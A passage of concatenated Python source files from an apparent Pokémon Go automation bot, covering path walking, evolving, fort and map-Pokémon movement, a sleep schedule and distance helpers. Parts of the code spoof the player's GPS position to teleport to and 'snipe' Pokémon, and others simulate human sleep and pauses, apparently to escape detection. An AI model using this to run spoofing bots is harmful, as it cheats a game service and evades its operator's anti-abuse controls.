        resume = dt.now() + timedelta(seconds=duration)
        
        self.emit_event(
            'path_lap_end',
            formatted="Great job, lot of calories burned! Taking a break now for {duration}, will resume at {resume}.",
            data={
                'duration': str(timedelta(seconds=duration)),
                'resume': resume.strftime("%H:%M:%S")
            }
        )
        
        self.number_lap = 0 # at the end of the break, start again
        sleep(duration)
        self.bot.login()

    def work(self):
        last_lat = self.bot.api._position_lat
        last_lng = self.bot.api._position_lng
        last_alt = self.bot.api._position_alt

        point = self.points[self.ptr]
        lat = float(point['lat'])
        lng = float(point['lng'])
        alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)
        if 'alt' in point:
            alt = float(point['alt'])

        if self.bot.config.walk_max > 0:
            step_walker = StepWalker(
                self.bot,
                lat,
                lng
            )

            is_at_destination = False
            if step_walker.step():
                is_at_destination = True

        else:
            self.bot.api.set_position(lat, lng, alt)

        dist = distance(
            last_lat,
            last_lng,
            lat,
            lng
        )

        self.emit_event(
            'position_update',
            formatted="Walking from {last_position} to {current_position}, distance left: ({distance} {distance_unit}) ..",
            data={
                'last_position': (last_lat, last_lng, last_alt),
                'current_position': (lat, lng, alt),
                'distance': dist,
                'distance_unit': 'm'
            }
        )
        
        if dist <= 1 or (self.bot.config.walk_min > 0 and is_at_destination):
            if (self.ptr + 1) == len(self.points):
                self.ptr = 0
                if self.path_mode == 'linear':
                    self.points = list(reversed(self.points))
                if self.number_lap_max >= 0:
                    self.number_lap+=1
                    self.emit_event(
                        'path_lap_update',
                        formatted="number lap : {number_lap} / {number_lap_max}",
                        data={
                            'number_lap': str(self.number_lap),
                            'number_lap_max': str(self.number_lap_max)
                        }
                    )
                    if self.number_lap >= self.number_lap_max:
                        self.endLaps()
            else:
                self.ptr += 1
        
        return [lat, lng]






# -*- coding: utf-8 -*-

from catch_lured_pokemon import CatchLuredPokemon
from catch_visible_pokemon import CatchVisiblePokemon
from evolve_pokemon import EvolvePokemon
from incubate_eggs import IncubateEggs
from move_to_fort import MoveToFort
from move_to_map_pokemon import MoveToMapPokemon
from nickname_pokemon import NicknamePokemon
from pokemon_catch_worker import PokemonCatchWorker
from pokemon_optimizer import PokemonOptimizer
from transfer_pokemon import TransferPokemon
from recycle_items import RecycleItems
from spin_fort import SpinFort
from handle_soft_ban import HandleSoftBan
from follow_path import FollowPath
from follow_spiral import FollowSpiral
from collect_level_up_reward import CollectLevelUpReward
from follow_cluster import FollowCluster
from sleep_schedule import SleepSchedule
from update_live_stats import UpdateLiveStats
from update_live_inventory import UpdateLiveInventory
from catch_pokemon import CatchPokemon
from complete_tutorial import CompleteTutorial
from random_pause import RandomPause





from pokemongo_bot import inventory
from pokemongo_bot.human_behaviour import sleep
from pokemongo_bot.inventory import Pokemon
from pokemongo_bot.item_list import Item
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.datastore import Datastore


class EvolvePokemon(Datastore, BaseTask):
    SUPPORTED_TASK_API_VERSION = 1
    def __init__(self, bot, config):
        super(EvolvePokemon, self).__init__(bot, config)

    def initialize(self):
        self.api = self.bot.api
        self.evolve_all = self.config.get('evolve_all', [])
        self.evolve_speed = self.config.get('evolve_speed', 2)
        self.first_evolve_by = self.config.get('first_evolve_by', 'cp')
        self.evolve_above_cp = self.config.get('evolve_above_cp', 500)
        self.evolve_above_iv = self.config.get('evolve_above_iv', 0.8)
        self.cp_iv_logic = self.config.get('logic', 'or')
        self.use_lucky_egg = self.config.get('use_lucky_egg', False)
        self._validate_config()

    def _validate_config(self):
        if isinstance(self.evolve_all, basestring):
            self.evolve_all = [str(pokemon_name).strip() for pokemon_name in self.evolve_all.split(',')]

    def work(self):
        if not self._should_run():
            return

        evolve_list = self._sort_and_filter()

        if self.evolve_all[0] != 'all':
            # filter out non-listed pokemons
            evolve_list = filter(lambda x: x.name in self.evolve_all, evolve_list)

        cache = {}
        for pokemon in evolve_list:
            if pokemon.can_evolve_now():
                self._execute_pokemon_evolve(pokemon, cache)

    def _should_run(self):
        if not self.evolve_all or self.evolve_all[0] == 'none':
            return False

        # Evolve all is used - Use Lucky egg only at the first tick
        if self.bot.tick_count is not 1 or not self.use_lucky_egg:
            return True

        lucky_egg = inventory.items().get(Item.ITEM_LUCKY_EGG.value)

        # Make sure the user has a lucky egg and skip if not
        if lucky_egg.count > 0:
            response_dict_lucky_egg = self.bot.use_lucky_egg()
            if response_dict_lucky_egg:
                result = response_dict_lucky_egg.get('responses', {}).get('USE_ITEM_XP_BOOST', {}).get('result', 0)
                if result is 1:  # Request success
                    lucky_egg.remove(1)
                    self.emit_event(
                        'used_lucky_egg',
                        formatted='Used lucky egg ({amount_left} left).',
                        data={
                             'amount_left': lucky_egg.count
                        }
                    )
                    return True
                else:
                    self.emit_event(
                        'lucky_egg_error',
                        level='error',
                        formatted='Failed to use lucky egg!'
                    )
                    return False
        else:
            # Skipping evolve so they aren't wasted
            self.emit_event(
                'skip_evolve',
                formatted='Skipping evolve because has no lucky egg.'
            )
            return False

    def _sort_and_filter(self):
        pokemons = []
        logic_to_function = {
            'or': lambda pokemon: pokemon.cp >= self.evolve_above_cp or pokemon.iv >= self.evolve_above_iv,
            'and': lambda pokemon: pokemon.cp >= self.evolve_above_cp and pokemon.iv >= self.evolve_above_iv
        }

        for pokemon in inventory.pokemons().all():
            if pokemon.unique_id > 0 and pokemon.has_next_evolution() and (logic_to_function[self.cp_iv_logic](pokemon)):
                pokemons.append(pokemon)

        if self.first_evolve_by == "cp":
            pokemons.sort(key=lambda x: (x.pokemon_id, x.cp, x.iv), reverse=True)
        else:
            pokemons.sort(key=lambda x: (x.pokemon_id, x.iv, x.cp), reverse=True)

        return pokemons

    def _execute_pokemon_evolve(self, pokemon, cache):
        if pokemon.name in cache:
            return False

        response_dict = self.api.evolve_pokemon(pokemon_id=pokemon.unique_id)
        if response_dict.get('responses', {}).get('EVOLVE_POKEMON', {}).get('result', 0) == 1:
            xp = response_dict.get("responses", {}).get("EVOLVE_POKEMON", {}).get("experience_awarded", 0)
            evolution = response_dict.get("responses", {}).get("EVOLVE_POKEMON", {}).get("evolved_pokemon_data", {})
            awarded_candies = response_dict.get('responses', {}).get('EVOLVE_POKEMON', {}).get('candy_awarded', 0)
            candy = inventory.candies().get(pokemon.pokemon_id)

            candy.consume(pokemon.evolution_cost - awarded_candies)

            self.emit_event(
                'pokemon_evolved',
                formatted="Evolved {pokemon} [IV {iv}] [CP {cp}] [{candy} candies] [+{xp} xp]",
                data={
                    'pokemon': pokemon.name,
                    'iv': pokemon.iv,
                    'cp': pokemon.cp,
                    'candy': candy.quantity,
                    'xp': xp,
                }
            )

            inventory.pokemons().remove(pokemon.unique_id)
            new_pokemon = inventory.Pokemon(evolution)
            inventory.pokemons().add(new_pokemon)

            sleep(self.evolve_speed)
            evolve_result = True
        else:
            # cache pokemons we can't evolve. Less server calls
            cache[pokemon.name] = 1
            sleep(0.7)
            evolve_result = False

        with self.bot.database as conn:
            c = conn.cursor()
            c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='evolve_log'")

        result = c.fetchone()

        while True:
            if result[0] == 1:
                conn.execute('''INSERT INTO evolve_log (pokemon, iv, cp) VALUES (?, ?, ?)''', (pokemon.name, pokemon.iv, pokemon.cp))
                break
            else:
                self.emit_event(
                    'evolve_log',
                    sender=self,
                    level='info',
                    formatted="evolve_log table not found, skipping log"
                )
                break

        return evolve_result






# -*- coding: utf-8 -*-
"""
Moves a trainer to a Pokemon.

Events:
    move_to_map_pokemon_fail
        When the worker fails.
        Returns:
            message: Failure message.

    move_to_map_pokemon_updated_map
        When worker updates the PokemonGo-Map.
        Returns:
            lat: Latitude
            lon: Longitude

    move_to_map_pokemon_teleport_to
        When trainer is teleported to a Pokemon.
        Returns:
            poke_name: Pokemon's name
            poke_dist: Distance from the trainer
            poke_lat: Latitude of the Pokemon
            poke_lon: Longitude of the Pokemon
            disappears_in: Number of seconds before the Pokemon disappears

    move_to_map_pokemon_encounter
        When a trainer encounters a Pokemon by teleporting or walking.
        Returns:
            poke_name: Pokemon's name
            poke_dist: Distance from the trainer
            poke_lat: Latitude of the Pokemon
            poke_lon: Longitude of the Pokemon
            disappears_in: Number of seconds before the Pokemon disappears

    move_to_map_pokemon_move_towards
        When a trainer moves toward a Pokemon.
        Returns:
            poke_name: Pokemon's name
            poke_dist: Distance from the trainer
            poke_lat: Latitude of the Pokemon
            poke_lon: Longitude of the Pokemon
            disappears_in: Number of seconds before the Pokemon disappears

    move_to_map_pokemon_teleport_back
        When a trainer teleports back to thier previous location.
        Returns:
            last_lat: Trainer's last known latitude
            last_lon: Trainer's last known longitude

"""

import os
import time
import json
import base64
import requests

from pokemongo_bot import inventory
from pokemongo_bot.base_dir import _base_dir
from pokemongo_bot.cell_workers.utils import distance, format_dist, format_time, fort_details
from pokemongo_bot.walkers.walker_factory import walker_factory
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.cell_workers.pokemon_catch_worker import PokemonCatchWorker
from random import uniform
from pokemongo_bot.constants import Constants

# Update the map if more than N meters away from the center. (AND'd with
# UPDATE_MAP_MIN_TIME_MINUTES)
ULTRABALL_ID = 3
GREATBALL_ID = 2
POKEBALL_ID = 1
UPDATE_MAP_MIN_DISTANCE_METERS = 500

# Update the map if it hasn't been updated in n seconds. (AND'd with
# UPDATE_MAP_MIN_DISTANCE_METERS)
UPDATE_MAP_MIN_TIME_SEC = 120

# Number of seconds to sleep between teleporting to a snipped Pokemon.
SNIPE_SLEEP_SEC = 2


class MoveToMapPokemon(BaseTask):
    """Task for moving a trainer to a Pokemon."""
    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self.last_map_update = 0
        self.pokemon_data = self.bot.pokemon_list
        self.unit = self.bot.config.distance_unit
        self.caught = []
        self.min_ball = self.config.get('min_ball', 1)
        self.map_path = self.config.get('map_path', 'raw_data')
        self.walker = self.config.get('walker', 'StepWalker')
        self.snipe_high_prio_only = self.config.get('snipe_high_prio_only', False)
        self.snipe_high_prio_threshold = self.config.get('snipe_high_prio_threshold', 400)

        data_file = os.path.join(_base_dir, 'map-caught-{}.json'.format(self.bot.config.username))
        if os.path.isfile(data_file):
            self.caught = json.load(
                open(data_file)
            )
        self.alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)

    def get_pokemon_from_map(self):
        try:
            req = requests.get('{}/{}?gyms=false&scanned=false'.format(self.config['address'], self.map_path))
        except requests.exceptions.ConnectionError:
            self._emit_failure('Could not get Pokemon data from PokemonGo-Map: '
                               '{}. Is it running?'.format(
                                   self.config['address']))
            return []

        try:
            raw_data = req.json()
        except ValueError:
            self._emit_failure('Map data was not valid')
            return []

        pokemon_list = []
        now = int(time.time())

        for pokemon in raw_data['pokemons']:
            try:
                pokemon['encounter_id'] = long(base64.b64decode(pokemon['encounter_id']))
            except:
                self._emit_failure('base64 error: {}'.format(pokemon['encounter_id']))
                continue
            pokemon['spawn_point_id'] = pokemon['spawnpoint_id']
            pokemon['disappear_time'] = int(pokemon['disappear_time'] / 1000)
            pokemon['name'] = self.pokemon_data[pokemon['pokemon_id'] - 1]['Name']
            pokemon['is_vip'] = pokemon['name'] in self.bot.config.vips

            if pokemon['name'] not in self.config['catch'] and not pokemon['is_vip']:
                continue

            if self.was_caught(pokemon):
                continue

            pokemon['priority'] = self.config['catch'].get(pokemon['name'], 0)

            pokemon['dist'] = distance(
                self.bot.position[0],
                self.bot.position[1],
                pokemon['latitude'],
                pokemon['longitude'],
            )

            if pokemon['dist'] > self.config['max_distance'] and not self.config['snipe']:
                continue

            # pokemon not reachable with mean walking speed (by config)
            mean_walk_speed = (self.bot.config.walk_max + self.bot.config.walk_min) / 2
            if pokemon['dist'] > ((pokemon['disappear_time'] - now) * mean_walk_speed) and not self.config['snipe']:
                continue

            pokemon_list.append(pokemon)

        return pokemon_list

    def add_caught(self, pokemon):
        for caught_pokemon in self.caught:
            if caught_pokemon['encounter_id'] == pokemon['encounter_id']:
                return
        if len(self.caught) >= 200:
            self.caught.pop(0)
        self.caught.append(pokemon)

    def was_caught(self, pokemon):
        for caught_pokemon in self.caught:
            if pokemon['encounter_id'] == caught_pokemon['encounter_id']:
                return True
        return False

    def update_map_location(self):
        if not self.config['update_map']:
            return
        try:
            req = requests.get('{}/loc'.format(self.config['address']))
        except requests.exceptions.ConnectionError:
            self._emit_failure('Could not update trainer location '
                               'PokemonGo-Map: {}. Is it running?'.format(
                                   self.config['address']))
            return

        try:
            loc_json = req.json()
        except ValueError:
            err = 'Map location data was not valid'
            self._emit_failure(err)
            return

        dist = distance(
            self.bot.position[0],
            self.bot.position[1],
            loc_json['lat'],
            loc_json['lng']
        )

        # update map when 500m away from center and last update longer than 2 minutes away
        now = int(time.time())
        if (dist > UPDATE_MAP_MIN_DISTANCE_METERS and
            now - self.last_map_update > UPDATE_MAP_MIN_TIME_SEC):
            requests.post(
                '{}/next_loc?lat={}&lon={}'.format(self.config['address'],
                                                   self.bot.position[0],
                                                   self.bot.position[1]))
            self.emit_event(
                'move_to_map_pokemon_updated_map',
                formatted='Updated PokemonGo-Map to {lat}, {lon}',
                data={
                    'lat': self.bot.position[0],
                    'lon': self.bot.position[1]
                }
            )
            self.last_map_update = now

    def snipe(self, pokemon):
        """Snipe a Pokemon by teleporting.

        Args:
            pokemon: Pokemon to snipe.
        """
        last_position = self.bot.position[0:2]
        self.bot.heartbeat()
        self._teleport_to(pokemon)
        catch_worker = PokemonCatchWorker(pokemon, self.bot, self.config)
        api_encounter_response = catch_worker.create_encounter_api_call()
        time.sleep(SNIPE_SLEEP_SEC)
        self._teleport_back(last_position)
        self.bot.api.set_position(last_position[0], last_position[1], self.alt)
        time.sleep(SNIPE_SLEEP_SEC)
        self.bot.heartbeat()
        catch_worker.work(api_encounter_response)
        self.add_caught(pokemon)
        return WorkerResult.SUCCESS

    def dump_caught_pokemon(self):
        user_data_map_caught = os.path.join(_base_dir, 'data', 'map-caught-{}.json'.format(self.bot.config.username))
        with open(user_data_map_caught, 'w') as outfile:
            json.dump(self.caught, outfile)

    def work(self):
        # check for pokeballs (excluding masterball)
        pokeballs_quantity = inventory.items().get(POKEBALL_ID).count
        superballs_quantity = inventory.items().get(GREATBALL_ID).count
        ultraballs_quantity = inventory.items().get(ULTRABALL_ID).count

        if (pokeballs_quantity + superballs_quantity + ultraballs_quantity) < 1:
            return WorkerResult.SUCCESS

        self.update_map_location()
        self.dump_caught_pokemon()

        pokemon_list = self.get_pokemon_from_map()
        pokemon_list.sort(key=lambda x: x['dist'])
        if self.config['mode'] == 'priority':
            pokemon_list.sort(key=lambda x: x['priority'], reverse=True)
        if self.config['prioritize_vips']:
            pokemon_list.sort(key=lambda x: x['is_vip'], reverse=True)

        if len(pokemon_list) < 1:
            return WorkerResult.SUCCESS

        pokemon = pokemon_list[0]

        if pokeballs_quantity < 1:
            if superballs_quantity < 1:
                if ultraballs_quantity < 1:
                    return WorkerResult.SUCCESS

        if self.config['snipe']:
            if self.snipe_high_prio_only:
                if self.snipe_high_prio_threshold < pokemon['priority']:
                    self.snipe(pokemon)
            else:
                return self.snipe(pokemon)

        if pokeballs_quantity + superballs_quantity + ultraballs_quantity < self.min_ball:
            return WorkerResult.SUCCESS

        nearest_fort = self.get_nearest_fort_on_the_way(pokemon)

        if nearest_fort is None :
            step_walker = self._move_to(pokemon)
            if not step_walker.step():

                if pokemon['dist'] < Constants.MAX_DISTANCE_POKEMON_IS_REACHABLE:
                    self._encountered(pokemon)
                    self.add_caught(pokemon)
                    return WorkerResult.SUCCESS
                else :
                    return WorkerResult.RUNNING

        else :
            step_walker = self._move_to_pokemon_througt_fort(nearest_fort, pokemon)
            if not step_walker or not step_walker.step():
                return WorkerResult.RUNNING

    def _emit_failure(self, msg):
        """Emits failure to event log.

        Args:
            msg: Message to emit
        """
        self.emit_event(
            'move_to_map_pokemon_fail',
            formatted='Failure! {message}',
            data={'message': msg}
        )

    def _emit_log(self, msg):
        """Emits log to event log.

        Args:
            msg: Message to emit
        """
        self.emit_event(
            'move_to_map_pokemon',
            formatted='{message}',
            data={'message': msg}
        )

    def _pokemon_event_data(self, pokemon):
        """Generates parameters used for the Bot's event manager.

        Args:
            pokemon: Pokemon object

        Returns:
            Dictionary with Pokemon's info.
        """
        now = int(time.time())
        return {
            'poke_name': pokemon['name'],
            'poke_dist': (format_dist(pokemon['dist'], self.unit)),
            'poke_lat': pokemon['latitude'],
            'poke_lon': pokemon['longitude'],
            'disappears_in': (format_time(pokemon['disappear_time'] - now))
        }

    def _teleport_to(self, pokemon):
        """Teleports trainer to a Pokemon.

        Args:
            pokemon: Pokemon to teleport to.
        """
        self.emit_event(
            'move_to_map_pokemon_teleport_to',
            formatted='Teleporting to {poke_name}. ({poke_dist})',
            data=self._pokemon_event_data(pokemon)
        )
        self.bot.api.set_position(pokemon['latitude'], pokemon['longitude'], self.alt)
        self._encountered(pokemon)

    def _encountered(self, pokemon):
        """Emit event when trainer encounters a Pokemon.

        Args:
            pokemon: Pokemon encountered.
        """
        self.emit_event(
            'move_to_map_pokemon_encounter',
            formatted='Encountered Pokemon: {poke_name}',
            data=self._pokemon_event_data(pokemon)
        )

    def _teleport_back(self, last_position):
        """Teleports trainer back to their last position."""
        self.emit_event(
            'move_to_map_pokemon_teleport_back',
            formatted=('Teleporting back to previous location ({last_lat}, '
                       '{last_lon})'),
            data={'last_lat': last_position[0], 'last_lon': last_position[1]}
        )

    def _move_to(self, pokemon):
        """Moves trainer towards a Pokemon.

        Args:
            pokemon: Pokemon to move to.

        Returns:
            Walker
        """
        now = int(time.time())
        self.emit_event(
            'move_to_map_pokemon_move_towards',
            formatted=('Moving towards {poke_name}, {poke_dist}, left ('
                       '{disappears_in})'),
            data=self._pokemon_event_data(pokemon)
        )
        return walker_factory(self.walker,
            self.bot,
            pokemon['latitude'],
            pokemon['longitude']
        )
    def _move_to_pokemon_througt_fort(self, fort, pokemon):
        """Moves trainer towards a fort before a Pokemon.

        Args:
            fort

        Returns:
            StepWalker
        """

        nearest_fort = fort

        lat = nearest_fort['latitude']
        lng = nearest_fort['longitude']
        fortID = nearest_fort['id']
        details = fort_details(self.bot, fortID, lat, lng)
        fort_name = details.get('name', 'Unknown')

        unit = self.bot.config.distance_unit  # Unit to use when printing formatted distance

        dist = distance(
            self.bot.position[0],
            self.bot.position[1],
            lat,
            lng
        )

        if dist > Constants.MAX_DISTANCE_FORT_IS_REACHABLE:
            pokemon_throught_fort_event_data = {
                'fort_name': u"{}".format(fort_name),
                'distance': format_dist(dist, unit),
                'poke_name': pokemon['name'],
                'poke_dist': (format_dist(pokemon['dist'], self.unit))
            }

            self.emit_event(
                'moving_to_pokemon_throught_fort',
                formatted="Moving towards {poke_name} - {poke_dist}  through pokestop  {fort_name} - {distance}",
                data= pokemon_throught_fort_event_data
            )
        else:
            self.emit_event(
                'arrived_at_fort',
                formatted='Arrived at fort.'
            )	

	return walker_factory(self.walker,
            self.bot,
            lat,
            lng
        )

    def get_nearest_fort_on_the_way(self, pokemon):
        forts = self.bot.get_forts(order_by_distance=True)

        # Remove stops that are still on timeout
        forts = filter(lambda x: x["id"] not in self.bot.fort_timeouts, forts)
        i=0
        while i < len(forts) :
            ratio = float(self.config.get('max_extra_dist_fort', 20))
            dist_self_to_fort = distance (self.bot.position[0], self.bot.position[1], forts[i]['latitude'], forts [i]['longitude'])
            dist_fort_to_pokemon = distance (pokemon['latitude'], pokemon['longitude'], forts[i]['latitude'], forts [i]['longitude'])
            total_dist = dist_self_to_fort + dist_fort_to_pokemon
            dist_self_to_pokemon = distance (self.bot.position[0], self.bot.position[1], pokemon['latitude'], pokemon['longitude'])
            if total_dist < (1 + (ratio / 100))* dist_self_to_pokemon:
                i = i + 1
            else :
                del forts[i]
		#Return nearest fort if there are remaining
        if len(forts)> 0 :
            return forts[0]
        else :
            return None






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from pokemongo_bot import inventory
from pokemongo_bot.constants import Constants
from pokemongo_bot.walkers.walker_factory import walker_factory
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.base_task import BaseTask
from utils import distance, format_dist, fort_details


class MoveToFort(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self.lure_distance = 0
        self.lure_attraction = self.config.get("lure_attraction", True)
        self.lure_max_distance = self.config.get("lure_max_distance", 2000)
        self.ignore_item_count = self.config.get("ignore_item_count", False)
        self.walker = self.config.get('walker', 'StepWalker')

    def should_run(self):
        has_space_for_loot = inventory.Items.has_space_for_loot()
        if not has_space_for_loot and not self.ignore_item_count:
            self.emit_event(
                'inventory_full',
                formatted="Inventory is full. You might want to change your config to recycle more items if this message appears consistently."
            )
        return has_space_for_loot or self.ignore_item_count or self.bot.softban

    def is_attracted(self):
        return (self.lure_distance > 0)

    def work(self):
        if not self.should_run():
            return WorkerResult.SUCCESS

        nearest_fort = self.get_nearest_fort()

        if nearest_fort is None:
            return WorkerResult.SUCCESS

        lat = nearest_fort['latitude']
        lng = nearest_fort['longitude']
        fortID = nearest_fort['id']
        details = fort_details(self.bot, fortID, lat, lng)
        fort_name = details.get('name', 'Unknown')

        unit = self.bot.config.distance_unit  # Unit to use when printing formatted distance

        dist = distance(
            self.bot.position[0],
            self.bot.position[1],
            lat,
            lng
        )
        noised_dist = distance(
            self.bot.noised_position[0],
            self.bot.noised_position[1],
            lat,
            lng
        )

        moving = noised_dist > Constants.MAX_DISTANCE_FORT_IS_REACHABLE if self.bot.config.replicate_gps_xy_noise else dist > Constants.MAX_DISTANCE_FORT_IS_REACHABLE

        if moving:
            fort_event_data = {
                'fort_name': u"{}".format(fort_name),
                'distance': format_dist(dist, unit),
            }

            if self.is_attracted() > 0:
                fort_event_data.update(lure_distance=format_dist(self.lure_distance, unit))
                self.emit_event(
                    'moving_to_lured_fort',
                    formatted="Moving towards pokestop {fort_name} - {distance} (attraction of lure {lure_distance})",
                    data=fort_event_data
                )
            else:
                self.emit_event(
                    'moving_to_fort',
                    formatted="Moving towards pokestop {fort_name} - {distance}",
                    data=fort_event_data
                )

            step_walker = walker_factory(self.walker,
                self.bot,
                lat,
                lng
            )

            if not step_walker.step():
                return WorkerResult.RUNNING

        self.emit_event(
            'arrived_at_fort',
            formatted='Arrived at fort.'
        )
        return WorkerResult.SUCCESS

    def _get_nearest_fort_on_lure_way(self, forts):

        if not self.lure_attraction:
            return None, 0

        lures = filter(lambda x: True if x.get('lure_info', None) != None else False, forts)

        if (len(lures)):
            dist_lure_me = distance(self.bot.position[0], self.bot.position[1],
                                    lures[0]['latitude'],lures[0]['longitude'])
        else:
            dist_lure_me = 0

        if dist_lure_me > 0 and dist_lure_me < self.lure_max_distance:

            self.lure_distance = dist_lure_me

            for fort in forts:
                dist_lure_fort = distance(
                    fort['latitude'],
                    fort['longitude'],
                    lures[0]['latitude'],
                    lures[0]['longitude'])
                dist_fort_me = distance(
                    fort['latitude'],
                    fort['longitude'],
                    self.bot.position[0],
                    self.bot.position[1])

                if dist_lure_fort < dist_lure_me and dist_lure_me > dist_fort_me:
                    return fort, dist_lure_me

                if dist_fort_me > dist_lure_me:
                    break

            return lures[0], dist_lure_me

        else:
            return None, 0

    def get_nearest_fort(self):
        forts = self.bot.get_forts(order_by_distance=True)

        # Remove stops that are still on timeout
        forts = filter(lambda x: x["id"] not in self.bot.fort_timeouts, forts)

        next_attracted_pts, lure_distance = self._get_nearest_fort_on_lure_way(forts)

        # Remove all forts which were spun in the last ticks to avoid circles if set
        if self.bot.config.forts_avoid_circles:
            forts = filter(lambda x: x["id"] not in self.bot.recent_forts, forts)

        self.lure_distance = lure_distance

        if (lure_distance > 0):
            return next_attracted_pts

        if len(forts) > 0:
            return forts[0]
        else:
            return None






from datetime import datetime, timedelta
from time import sleep
from random import uniform
from pokemongo_bot.base_task import BaseTask


class SleepSchedule(BaseTask):
    """Pauses the execution of the bot every day for some time

    Simulates the user going to sleep every day for some time, the sleep time
    and the duration is changed every day by a random offset defined in the
    config file
    Example Config:
    {
        "type": "SleepSchedule",
        "config": {
          "time": "12:00",
          "duration":"5:30",
          "time_random_offset": "00:30",
          "duration_random_offset": "00:30"
          "wake_up_at_location": ""
        }
    }
    time: (HH:MM) local time that the bot should sleep
    duration: (HH:MM) the duration of sleep
    time_random_offset: (HH:MM) random offset of time that the sleep will start
                        for this example the possible start time is 11:30-12:30
    duration_random_offset: (HH:MM) random offset of duration of sleep
                        for this example the possible duration is 5:00-6:00
    wake_up_at_location: (lat, long | lat, long, alt | "") the location at which the bot wake up 
    *Note that an empty string ("") will not change the location*.    """
    SUPPORTED_TASK_API_VERSION = 1

    LOG_INTERVAL_SECONDS = 600
    SCHEDULING_MARGIN = timedelta(minutes=10)    # Skip if next sleep is RESCHEDULING_MARGIN from now

    def initialize(self):
        # self.bot.event_manager.register_event('sleeper_scheduled', parameters=('datetime',))
        self._process_config()
        self._schedule_next_sleep()
        self._calculate_current_sleep()

    def work(self):
        if self._should_sleep_now():
            self._sleep()
            self._schedule_next_sleep()
            wake_up_at_location = self.config.get("wake_up_at_location", "")
            if wake_up_at_location:
                self.bot.api.set_position(self.wake_up_at_location[0],self.wake_up_at_location[1],self.wake_up_at_location[2])
            self.bot.login()

    def _process_config(self):
        self.time = datetime.strptime(self.config.get('time', '01:00'), '%H:%M')

        # Using datetime for easier stripping of timedeltas
        duration = datetime.strptime(self.config.get('duration', '07:00'), '%H:%M')
        self.duration = int(timedelta(hours=duration.hour, minutes=duration.minute).total_seconds())

        time_random_offset = datetime.strptime(self.config.get('time_random_offset', '01:00'), '%H:%M')
        self.time_random_offset = int(
            timedelta(
                hours=time_random_offset.hour, minutes=time_random_offset.minute).total_seconds())

        duration_random_offset = datetime.strptime(self.config.get('duration_random_offset', '00:30'), '%H:%M')
        self.duration_random_offset = int(
            timedelta(
                hours=duration_random_offset.hour, minutes=duration_random_offset.minute).total_seconds())
        
        wake_up_at_location = self.config.get("wake_up_at_location", "")
        if wake_up_at_location:
            try:
                wake_up_at_location = wake_up_at_location.split(',',2)               
                lat=float(wake_up_at_location[0])
                lng=float(wake_up_at_location[1])
                if len(wake_up_at_location) == 3:
                    alt=float(wake_up_at_location[2])
                else:
                    alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)
            except ValueError:
                raise ValueError('SleepSchedule wake_up_at_location, parsing error in location') #TODO there must be a more elegant way to do it...

            self.wake_up_at_location = [lat, lng, alt]

    def _schedule_next_sleep(self):
        self._next_sleep = self._get_next_sleep_schedule()
        self._next_duration = self._get_next_duration()
        self.emit_event(
            'next_sleep',
            formatted="Next sleep at {time}",
            data={
                'time': str(self._next_sleep)
            }
        )

    def _calculate_current_sleep(self):
        self._current_sleep = self._next_sleep - timedelta(days=1)
        current_duration = self._get_next_duration()
        self._current_end = self._current_sleep + timedelta(seconds = current_duration)

    def _should_sleep_now(self):
        if datetime.now() >= self._next_sleep:
            return True
        if datetime.now() >= self._current_sleep and datetime.now() < self._current_end:
            self._next_duration = (self._current_end - datetime.now()).total_seconds()
            return True

        return False

    def _get_next_sleep_schedule(self):
        now = datetime.now() + self.SCHEDULING_MARGIN
        next_time = now.replace(hour=self.time.hour, minute=self.time.minute)

        next_time += timedelta(seconds=self._get_random_offset(self.time_random_offset))

        # If sleep time is passed add one day
        if next_time <= now:
            next_time += timedelta(days=1)

        return next_time

    def _get_next_duration(self):
        duration = self.duration + self._get_random_offset(self.duration_random_offset)
        return duration

    def _get_random_offset(self, max_offset):
        offset = uniform(-max_offset, max_offset)
        return int(offset)

    def _sleep(self):
        sleep_to_go = self._next_duration

        sleep_m, sleep_s = divmod(sleep_to_go, 60)
        sleep_h, sleep_m = divmod(sleep_m, 60)
        sleep_hms = '%02d:%02d:%02d' % (sleep_h, sleep_m, sleep_s)

        now = datetime.now()
        wake = str(now + timedelta(seconds=sleep_to_go))

        self.emit_event(
            'bot_sleep',
            formatted="Sleeping for {time_hms}, wake at {wake}",
            data={
                'time_hms': sleep_hms,
                'wake': wake
            }
        )
        while sleep_to_go > 0:
            if sleep_to_go < self.LOG_INTERVAL_SECONDS:
                sleep(sleep_to_go)
                sleep_to_go = 0
            else:
                sleep(self.LOG_INTERVAL_SECONDS)
                sleep_to_go -= self.LOG_INTERVAL_SECONDS






# -*- coding: utf-8 -*-

import struct
from math import asin, atan, cos, exp, log, pi, sin, sqrt, tan

from colorama import init
from networkx.algorithms.clique import find_cliques

import networkx as nx
import numpy as np

from datetime import datetime as dt, timedelta

init()

TIME_PERIODS = (
    (60, 'minute'),
    (3600, 'hour'),
    (86400, 'day'),
    (86400*7, 'week')
)

FORT_CACHE = {}
def fort_details(bot, fort_id, latitude, longitude):
    """
    Lookup fort metadata and (if possible) serve from cache.
    """

    if fort_id not in FORT_CACHE:
        """
        Lookup the fort details and cache the response for future use.
        """
        request = bot.api.create_request()
        request.fort_details(fort_id=fort_id, latitude=latitude, longitude=longitude)
        try:
            response_dict = request.call()
            FORT_CACHE[fort_id] = response_dict['responses']['FORT_DETAILS']
        except Exception:
            pass

    # Just to avoid KeyErrors
    return FORT_CACHE.get(fort_id, {})

def encode(cellid):
    output = []
    encoder._VarintEncoder()(output.append, cellid)
    return ''.join(output)


def distance(lat1, lon1, lat2, lon2):
    p = 0.017453292519943295
    a = 0.5 - cos((lat2 - lat1) * p) / 2 + cos(lat1 * p) * \
        cos(lat2 * p) * (1 - cos((lon2 - lon1) * p)) / 2
    return 12742 * asin(sqrt(a)) * 1000


def convert(distance, from_unit, to_unit):  # Converts units
    # Example of converting distance from meters to feet:
    # convert(100.0,"m","ft")
    conversions = {
        "mm": {"mm": 1.0,
               "cm": 1.0 / 10.0,
               "m": 1.0 / 1000.0,
               "km": 1.0 / 1000000,
               "ft": 0.00328084,
